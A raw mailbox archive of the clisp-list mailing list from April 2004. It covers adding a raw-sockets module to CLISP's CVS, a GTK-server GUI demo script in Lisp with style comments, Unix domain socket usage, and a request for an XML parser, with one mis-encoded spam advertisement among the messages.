X-Original-Date: Wed, 21 Apr 2004 09:07:40 -0700 > Clarification: this module is supposed to contain some code from Don > and some code from Fred (any relationship to Don?) (brothers) > Both were ported to clisp-devel in separate message. > > Don, did you even start the project? > When I say "start", I mean, do you have a _directory_ with all the > files, yours and Fred's? > If you do have such a directory, could you please zip it up and make it > available for download from the web? I started to try to make it work in 2.32. I had earlier made it work in the pre 2.31 cvs where large files and write-byte-sequence no-hang support were added. I gather that what you really want is something different, adding a new module directory to current cvs. I have not started on that. My impression (at least hope) is that anyone who already knows how to do that will find the task relatively straight forward starting from the code that was sent earlier. Fred Cohen asks me to forward: > Sorry about the inconvenience of sending to you instead of the list - > but the counterspam thing on the list bounced my message. > > FC ... > To the extent I can I would be happy to help, however, I don't want to > keep chasing the ever-changing clisp specs for foreign stuff. Where shall > I send a gz file? I believe the file he would send would be more or less what was posted earlier (that message was also rejected and eventually forwarded through me, as I recall). BTW, I also believe that the code as it stands now would not support unix sockets. So whoever makes a real clisp module out of it might want to add that. From sds@gnu.org Wed Apr 21 10:32:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGLZo-0002o2-Mt for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 10:32:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGLZn-00078g-Nd for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 10:32:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3LHVfuh021327; Wed, 21 Apr 2004 13:31:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16518.40012.993214.306882@isis.cs3-inc.com> (Don Cohen's message of "Wed, 21 Apr 2004 09:07:40 -0700") References: <20040421141730.CF61BCA81A6@red.all.net> <200404202351.i3KNpYZ22425@isis.cs3-inc.com> <16518.40012.993214.306882@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 10:33:08 2004 X-Original-Date: Wed, 21 Apr 2004 13:31:41 -0400 > * Don Cohen [2004-04-21 09:07:40 -0700]: > > > Both were ported to clisp-devel in separate message. > > > > Don, did you even start the project? > > When I say "start", I mean, do you have a _directory_ with all the > > files, yours and Fred's? > > If you do have such a directory, could you please zip it up and make it > > available for download from the web? > > I gather that what you really want is something different, adding a > new module directory to current cvs. I have not started on that. > My impression (at least hope) is that anyone who already knows how to > do that will find the task relatively straight forward starting from > the code that was sent earlier. I don't think I got my message through. Let me try to repeat and be blunt. Please do not get offended, I have nothing but respect and appreciation for you and Fred. The following is just _my_ personal modus operandi, and I understand that not everyone agrees with me. ------------- Code and patches which are longer than 1 computer screen (~60 lines) should never be sent to CLISP mailing lists, send the URL instead and I will certainly click on it. (Exception: auto-generated CVS commit notes). (MIME mail is never accepted in CLISP mailing lists either). Ergo: _I_ did _NOT_ see the code you and Fred sent to this list. Sorry. Saying "just get the code from the mailing list archives" will not work. ------------- Now, let me repeat again: please send to this list the URL of the tgz or zip of all your files you want in the module. I will put it under the CVS and add the necessary infrastructure. Then you - or anyone else - will be able to work on this using the CVS. Thanks. > Fred Cohen asks me to forward: > > To the extent I can I would be happy to help, however, I don't want > > to keep chasing the ever-changing clisp specs for foreign stuff. I did not realize that the foreign specs kept changing... > > Where shall I send a gz file? you send the URL to the mailing list as a part of the plain text (non-MIME) message. > BTW, I also believe that the code as it stands now would not support > unix sockets. So whoever makes a real clisp module out of it might > want to add that. that's OK. we need a start. -- Sam Steingold (http://www.podval.org/~sds) running w2k Rhinoceros has poor vision, but, due to his size, it's not his problem. From don-sourceforgexx@isis.cs3-inc.com Wed Apr 21 11:05:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGM68-0003cV-4g for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 11:05:24 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BGM67-0006G9-QU for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 11:05:23 -0700 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i3LI1xl01538 for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 11:01:59 -0700 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16518.46792.172695.785824@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20040421141730.CF61BCA81A6@red.all.net> <200404202351.i3KNpYZ22425@isis.cs3-inc.com> <16518.40012.993214.306882@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 11:06:02 2004 X-Original-Date: Wed, 21 Apr 2004 11:00:40 -0700 Sam Steingold writes: > Now, let me repeat again: please send to this list the URL of the tgz > or zip of all your files you want in the module. Fred's original message, containing the code is now at http://isis.cs3-inc.com/raw-fc This is not a zip but it's not long and easy enough to extract. The files are separated by their names. Find these lines: call-rawsock.lsp ... 25 lines rawsock.c: ... 123 lines Maker: ... 15 lines thingstofix: ... 11 lines > I will put it under the CVS and add the necessary infrastructure. > Then you - or anyone else - will be able to work on this using the CVS. ok, that's a start. > I did not realize that the foreign specs kept changing... What I do know is that what he had working c. 2.26 did not work in 2.31 and after I managed to change it to work in 2.31, the result no longer works in 2.32. I think the code at url above is the 2.26 version. From sds@gnu.org Wed Apr 21 14:22:48 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGPBA-0005th-2c for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 14:22:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGPB9-00069I-Nu for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 14:22:47 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3LLMRuh024587; Wed, 21 Apr 2004 17:22:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16518.46792.172695.785824@isis.cs3-inc.com> (Don Cohen's message of "Wed, 21 Apr 2004 11:00:40 -0700") References: <20040421141730.CF61BCA81A6@red.all.net> <200404202351.i3KNpYZ22425@isis.cs3-inc.com> <16518.40012.993214.306882@isis.cs3-inc.com> <16518.46792.172695.785824@isis.cs3-inc.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: raw sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 14:23:09 2004 X-Original-Date: Wed, 21 Apr 2004 17:22:26 -0400 > * Don Cohen [2004-04-21 11:00:40 -0700]: > > http://isis.cs3-inc.com/raw-fc ok, this thing is now in the CVS. $ ./configure --with-module=rawsock --build build-rawsock please send small patches to clisp-devel (appended to the message, accompanied by a ChangeLog entry, note that you must be subscribed) or send the patch URL. If you plan on doing more than a couple of small patches, I will be happy to give you CVS write access. -- Sam Steingold (http://www.podval.org/~sds) running w2k Beliefs divide, doubts unite. From tandy@seznam.cz Wed Apr 21 15:30:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGQEs-0006iU-1q for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 15:30:42 -0700 Received: from wv-morgantown-cdnt1-bg1-4a-c-247.mgtnwv.adelphia.net ([68.69.46.247]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.30) id 1BGQEr-0000vb-L0 for clisp-list@lists.sourceforge.net; Wed, 21 Apr 2004 15:30:41 -0700 From: lalit To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Message-ID: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] for you Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 21 15:31:03 2004 X-Original-Date: Wed, 21 Apr 2004 22:20:19 +0000 Áîëüøå íåò íóæäû â ñïåøêå çàñòèëàòü êðîâàòü ïîêðûâàëîì. Íîâàÿ êîëëåêöèÿ ïîñòåëüíûõ ïðèíàäëåæíîñòåé îò www.mypresent.ru ïîçâîëèò âàøåé êâàðòèðå âûãëÿäÿòü óþòíî è áëèñòàòåëüíî â ëþáîì âèäå è ëþáîé ñèòóàöèè. From J.Kalsbach@fiscus.info Thu Apr 22 04:13:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGc9K-0002XO-Ax for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 04:13:46 -0700 Received: from mail2.fiscus.info ([212.79.168.164]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGc9J-0002qK-1i for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 04:13:45 -0700 Received: from Spam-Filter (localhost [127.0.0.1]) by mail2.fiscus.info (20030710-1) with ESMTP id i3MBDXg21709 for ; Thu, 22 Apr 2004 13:13:33 +0200 Received: from (helo=bonn102.bonn.fiscus.de) by Spam-Filter ; 22 Apr 04 11:13:33 -0000 Received: by bonn102.bonn.fiscus.de with Internet Mail Service (5.5.2656.59) id ; Thu, 22 Apr 2004 13:13:32 +0200 Message-ID: <2A912288C566D24C91D0525EC0134F97E752F0@bonn101.bonn.fiscus.de> From: =?iso-8859-1?Q?=22Kalsbach=2C_J=F6rg=2C_fiscus_GmbH=2C_Bonn=22?= To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Assp-Spam-Prob: 0.00000 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] A GUI for clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 22 04:14:22 2004 X-Original-Date: Thu, 22 Apr 2004 13:13:26 +0200 Hello, I just ported a script that enables clisp to work with a gui server (gtk-server). The architecture is a bit clumsy but it works. Perhaps = anyone is interested in gui programming with clisp. Regards J=F6rg Kalsbach Please don' t write to this mails adress but to: j.kalsbach@mlsystems.de ;;start of file ;; ;; Demonstration on how to use the GTK-server with clisp ;; Tested with clisp-2.33 on WinXP ;; Requirements: gtk-server installion in this scripts' directory ;; http://www.turtle.dds.nl/gtk-server/ ;; April 22, 2004 by J=F6rg Kalsbach ported from: ;; ;; Demonstration on how to use the GTK-server with NEWLISP by FIFO. ;; Tested with newLISP 7.5.12 on Slackware Linux 9.1. ;; ;; March 28, 2004 by Peter van Eerten. ;; ;;------------------------------------------------ ;; Start the gtk-server (ext:run-program "gtk-server" :arguments '("localhost:50000") :wait = nil) ;; Define communication function (defun gtk (str) (princ str socket) (read-line socket)) ;; Wait a little so the server can initialize (sleep 1) ;; get a communication channel (defconstant socket (socket:socket-connect 50000)) ;; Design the GUI (gtk "gtk_init(NULL, NULL)") (set 'win (gtk "gtk_window_new(0)")) (gtk (concatenate 'string "gtk_window_set_title (" win ", This is a title)")) (gtk (concatenate 'string "gtk_window_set_default_size (" win ", 100, 100)")) (gtk (concatenate 'string "gtk_window_set_position (" win ", 1 )")) (set 'table (gtk "gtk_table_new(30, 30, 1 )")) (gtk (concatenate 'string "gtk_container_add (" win "," table ")")) (set 'button1 (gtk "gtk_button_new_with_label (Exit)")) (gtk (concatenate 'string "gtk_table_attach_defaults(" table ", " = button1 ", 17, 28, 20, 25)")) (set 'button2 (gtk "gtk_button_new_with_label (Print text)")) (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " = button2 ", 2, 13, 20, 25)")) (set 'entry (gtk "gtk_entry_new()")) (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " = entry ", 2, 28, 5, 15)")) (gtk (concatenate 'string "gtk_widget_show_all(" win ")")) ;; This is the mainloop (do ((event1 "0"(set 'event1 (gtk (concatenate 'string "gtk_server_callback(" button1 ")"))))=20 (event2 "0" (set 'event2 (gtk (concatenate 'string "gtk_server_callback(" win ")"))))) ((not (and (=3D (parse-integer event1) 0) (=3D (parse-integer = event2) 0)))) (gtk "gtk_main_iteration()") (set 'tmp (gtk (concatenate 'string "gtk_server_callback(" button2 ")"))) (if (> (parse-integer tmp) 0) (progn (set 'tmp (gtk (concatenate 'string "gtk_entry_get_text(" entry ")"))) (print (concatenate 'string "This is the contents: " tmp)))) ) ;; Exit GTK explicitly only with a write (princ "gtk_exit(0)" socket) ;;end of file From sds@gnu.org Thu Apr 22 07:06:40 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGeqe-0006GZ-M1 for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 07:06:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BGeqd-0000C3-UF for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 07:06:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3ME6K0D008428; Thu, 22 Apr 2004 10:06:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, =?utf-8?q?Kalsbach=2C_J=C3=B6rg=2C_fiscus_GmbH=2C_Bonn?= Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2A912288C566D24C91D0525EC0134F97E752F0@bonn101.bonn.fiscus.de> =?utf-8?q?=28J=C3=B6rg?= Kalsbach's message of "Thu, 22 Apr 2004 13:13:26 +0200") References: <2A912288C566D24C91D0525EC0134F97E752F0@bonn101.bonn.fiscus.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?q?Kalsbach=2C_J=C3=B6rg=2C_fiscus_GmbH=2C_Bonn?= Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: A GUI for clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 22 07:07:18 2004 X-Original-Date: Thu, 22 Apr 2004 10:06:20 -0400 > * Kalsbach, J=C3=B6rg, fiscus GmbH, Bonn [2004-0= 4-22 13:13:26 +0200]: > > I just ported a script that enables clisp to work with a gui server > (gtk-server). The architecture is a bit clumsy but it works. Thanks, I will add a reference to the CLISP FAQ! some stylistic notes to make your code more like Common Lisp: 1. define SOCKET before GTK to avoid compiler warning, define it with DEFVAR or DEFPARAMETER and name it with stars: *SOCKET* 2. use SETQ instead of SET: (setq win (gtk "gtk_window_new(0)")) 3. replace (if ... (progn ...)) with (when ... ...) --=20 Sam Steingold (http://www.podval.org/~sds) running w2k If you think big enough, you'll never have to do it. From sds@gnu.org Thu Apr 22 17:42:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGomD-0005kj-7U for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 17:42:45 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BGomB-00070j-C8 for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 17:42:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i3N0g3Ej014083; Thu, 22 Apr 2004 20:42:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Richard M Kreuter Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87ad1648je.fsf@daystrom.localdomain> (Richard M. Kreuter's message of "Tue, 20 Apr 2004 17:57:25 -0400") References: <87ad1648je.fsf@daystrom.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, Richard M Kreuter Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding to Unix domain sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 22 17:43:08 2004 X-Original-Date: Thu, 22 Apr 2004 20:42:03 -0400 > * Richard M Kreuter [2004-04-20 17:57:25 -0400]: > > Is it possible create and bind a pathname to a Unix domain socket with > clisp? If so, how? check out CVS head (see SF for instructions) $ ./configure --with-module=rawsock --build build-rawsock $ ./build-rawsock/clisp -K full > (rawsock:open-unix-socket "/tmp/.X11-unix/X0") 3 -- Sam Steingold (http://www.podval.org/~sds) running w2k Vegetarians eat Vegetables, Humanitarians are scary. From anil.sorathiya@scinovaindia.com Thu Apr 22 22:15:38 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BGt2I-0003MH-4R for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 22:15:38 -0700 Received: from [61.11.22.52] (helo=localhost.localdomain) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BGt2B-0002Ys-Tf for clisp-list@lists.sourceforge.net; Thu, 22 Apr 2004 22:15:37 -0700 Received: from localhost.localdomain (Lion [127.0.0.1]) by localhost.localdomain (8.12.8/8.12.8) with ESMTP id i3N5IA7h001783 for ; Fri, 23 Apr 2004 10:48:33 +0530 Received: (from anil@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id i3N5HhA9001780 for clisp-list@lists.sourceforge.net; Fri, 23 Apr 2004 10:47:43 +0530 X-Authentication-Warning: localhost.localdomain: anil set sender to anil.sorathiya@scinovaindia.com using -f From: Anil Sorathiya To: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1082697462.1669.4.camel@Lion> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] help Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 22 22:16:06 2004 X-Original-Date: 23 Apr 2004 10:47:43 +0530 hi all i have some problem related to file format... is any body know the XML and lisp talk.... is there any package in lisp which use to read and write xml file or maintain xml files... actually i am working with chemistry related things...so i have xml file which i have to parse and give input to my system...so i need xml package for clisp. -anil On Fri, 2004-04-23 at 08:30, clisp-list-request@lists.sourceforge.net wrote: > Send clisp-list mailing list submissions to > clisp-list@lists.sourceforge.net > > To subscribe or unsubscribe via the World Wide Web, visit > https://lists.sourceforge.net/lists/listinfo/clisp-list > or, via email, send a message with subject or body 'help' to > clisp-list-request@lists.sourceforge.net > > You can reach the person managing the list at > clisp-list-admin@lists.sourceforge.net > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of clisp-list digest..." > > > Today's Topics: > > 1. A GUI for clisp (=?iso-8859-1?Q?=22Kalsbach=2C_J=F6rg=2C_fiscus_GmbH=2C_Bonn=22?=) > 2. Re: A GUI for clisp (Sam Steingold) > 3. Re: binding to Unix domain sockets (Sam Steingold) > > --__--__-- > > Message: 1 > From: =?iso-8859-1?Q?=22Kalsbach=2C_J=F6rg=2C_fiscus_GmbH=2C_Bonn=22?= > > To: "'clisp-list@lists.sourceforge.net'" > > Date: Thu, 22 Apr 2004 13:13:26 +0200 > Subject: [clisp-list] A GUI for clisp > > Hello, > > I just ported a script that enables clisp to work with a gui server > (gtk-server). The architecture is a bit clumsy but it works. Perhaps = > anyone > is interested in gui programming with clisp. > > Regards > > J=F6rg Kalsbach > > Please don' t write to this mails adress but to: > > j.kalsbach@mlsystems.de > > ;;start of file > ;; > ;; Demonstration on how to use the GTK-server with clisp > ;; Tested with clisp-2.33 on WinXP > ;; Requirements: gtk-server installion in this scripts' directory > ;; http://www.turtle.dds.nl/gtk-server/ > ;; April 22, 2004 by J=F6rg Kalsbach ported from: > ;; > ;; Demonstration on how to use the GTK-server with NEWLISP by FIFO. > ;; Tested with newLISP 7.5.12 on Slackware Linux 9.1. > ;; > ;; March 28, 2004 by Peter van Eerten. > ;; > ;;------------------------------------------------ > > ;; Start the gtk-server > (ext:run-program "gtk-server" :arguments '("localhost:50000") :wait = > nil) > > ;; Define communication function > (defun gtk (str) > (princ str socket) > (read-line socket)) > > > ;; Wait a little so the server can initialize > (sleep 1) > > ;; get a communication channel > (defconstant socket (socket:socket-connect 50000)) > > ;; Design the GUI > (gtk "gtk_init(NULL, NULL)") > (set 'win (gtk "gtk_window_new(0)")) > (gtk (concatenate 'string "gtk_window_set_title (" win ", This is a > title)")) > (gtk (concatenate 'string "gtk_window_set_default_size (" win ", 100, > 100)")) > (gtk (concatenate 'string "gtk_window_set_position (" win ", 1 )")) > (set 'table (gtk "gtk_table_new(30, 30, 1 )")) > (gtk (concatenate 'string "gtk_container_add (" win "," table ")")) > (set 'button1 (gtk "gtk_button_new_with_label (Exit)")) > (gtk (concatenate 'string "gtk_table_attach_defaults(" table ", " = > button1 ", > 17, 28, 20, 25)")) > (set 'button2 (gtk "gtk_button_new_with_label (Print text)")) > (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " = > button2 > ", 2, 13, 20, 25)")) > (set 'entry (gtk "gtk_entry_new()")) > (gtk (concatenate 'string "gtk_table_attach_defaults (" table ", " = > entry ", > 2, 28, 5, 15)")) > (gtk (concatenate 'string "gtk_widget_show_all(" win ")")) > > ;; This is the mainloop > (do ((event1 "0"(set 'event1 (gtk (concatenate 'string > "gtk_server_callback(" button1 ")"))))=20 > (event2 "0" (set 'event2 (gtk (concatenate 'string > "gtk_server_callback(" win ")"))))) > ((not (and (=3D (parse-integer event1) 0) (=3D (parse-integer = > event2) 0)))) > (gtk "gtk_main_iteration()") > (set 'tmp (gtk (concatenate 'string "gtk_server_callback(" button2 > ")"))) > (if (> (parse-integer tmp) 0) > (progn > (set 'tmp (gtk (concatenate 'string "gtk_entry_get_text(" entry > ")"))) > (print (concatenate 'string "This is the contents: " tmp)))) > ) > > ;; Exit GTK explicitly only with a write > (princ "gtk_exit(0)" socket) > ;;end of file > > > --__--__-- > > Message: 2 > To: clisp-list@lists.sourceforge.net, > =?utf-8?q?Kalsbach=2C_J=C3=B6rg=2C_fiscus_GmbH=2C_Bonn?= > > Reply-to: clisp-list@lists.sourceforge.net > From: Sam Steingold > Date: Thu, 22 Apr 2004 10:06:20 -0400 > Subject: [clisp-list] Re: A GUI for clisp > > > * Kalsbach, J=C3=B6rg, fiscus GmbH, Bonn [2004-0= > 4-22 13:13:26 +0200]: > > > > I just ported a script that enables clisp to work with a gui server > > (gtk-server). The architecture is a bit clumsy but it works. > > Thanks, I will add a reference to the CLISP FAQ! > > some stylistic notes to make your code more like Common Lisp: > > 1. define SOCKET before GTK to avoid compiler warning, define it with > DEFVAR or DEFPARAMETER and name it with stars: *SOCKET* > > 2. use SETQ instead of SET: > (setq win (gtk "gtk_window_new(0)")) > > 3. replace (if ... (progn ...)) with (when ... ...) > > --=20 > Sam Steingold (http://www.podval.org/~sds) running w2k > > > If you think big enough, you'll never have to do it. > > > --__--__-- > > Message: 3 > To: clisp-list@lists.sourceforge.net, > Richard M Kreuter > > Reply-to: clisp-list@lists.sourceforge.net > From: Sam Steingold > Date: Thu, 22 Apr 2004 20:42:03 -0400 > Subject: [clisp-list] Re: binding to Unix domain sockets > > > * Richard M Kreuter [2004-04-20 17:57:25 -0400]: > > > > Is it possible create and bind a pathname to a Unix domain socket with > > clisp? If so, how? > > check out CVS head (see SF for instructions) > $ ./configure --with-module=rawsock --build build-rawsock > $ ./build-rawsock/clisp -K full > > (rawsock:open-unix-socket "/tmp/.X11-unix/X0") > 3 > From sds@gnu.org Fri Apr 23 06:36:39 2004 Received: from 